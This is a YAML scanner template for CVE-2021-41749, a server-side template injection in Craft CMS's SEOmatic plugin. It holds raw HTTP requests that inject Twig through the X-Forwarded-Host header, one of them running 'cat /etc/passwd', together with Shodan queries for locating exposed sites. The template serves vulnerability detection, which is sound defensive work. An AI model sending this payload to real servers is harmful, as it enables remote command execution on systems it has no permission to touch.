id: CVE-2021-41749

info:
  name: CraftCMS SEOmatic - Server-Side Template Injection
  author: iamnoooob,ritikchaddha
  severity: critical
  description: |
    In the SEOmatic plugin up to 3.4.11 for Craft CMS 3, it is possible for unauthenticated attackers to perform a Server-Side. Template Injection, allowing for remote code execution.
  impact: |
    Unauthenticated attackers can exploit SSTI via X-Forwarded-Host header to execute arbitrary Twig templates and system commands, achieving complete server compromise.
  remediation: |
    Upgrade to CraftCMS SEOmatic version 3.4.12 or later.
  reference:
    - https://github.com/nystudio107/craft-seomatic/commit/3fee7d50147cdf3f999cfc1e04cbc3fb3d9f2f7d
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41749
    - https://github.com/nystudio107/craft-seomatic/blob/develop/CHANGELOG.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-41749
    cwe-id: CWE-94
    epss-score: 0.17249
    epss-percentile: 0.9671
    cpe: cpe:2.3:a:nystudio107:seomatic:*:*:*:*:*:craft_cms:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: nystudio107
    product: seomatic
    framework: craft_cms
    shodan-query:
      - 'X-Powered-By: Craft CMS html:"SEOmatic"'
      - "x-powered-by: craft cms"
      - 'x-powered-by: craft cms html:"seomatic"'
  tags: cve2021,cve,craftcms,cms,ssti,nystudio107,craft_cms,vuln
variables:
  num1: "{{rand_int(40000, 44800)}}"
  num2: "{{rand_int(40000, 44800)}}"
  result: "{{to_number(num1)*to_number(num2)}}"
  marker: "{{randstr}}"

http:
  - raw:
      - |+
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-Host: {{Hostname}}/{{marker}}{{{{num1}}*{{num2}}}}
        Cache-Control: max-age=0

      - |+
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-Host: xxx{{['cat /etc/passwd']|filter('system')}}bbb
        Cache-Control: max-age=0

    skip-variables-check: true
    stop-at-first-match: true
    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "/{{marker}}{{result}}") || regex("root:.*:0:0:", body_2)'
          - 'contains_any(body, "Craft CMS", "SEOmatic" ,"CRAFT_CSRF")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100d4b1f6eec001ee9e187f7660eb4ba89737a0c702e879d27b17d38ffec0859b2a02200bf4be29902f2648a9753118259fb014e8adbd1c50bf98ead818df300ac0e39e:922c64590222798bb761d5b6d8e72950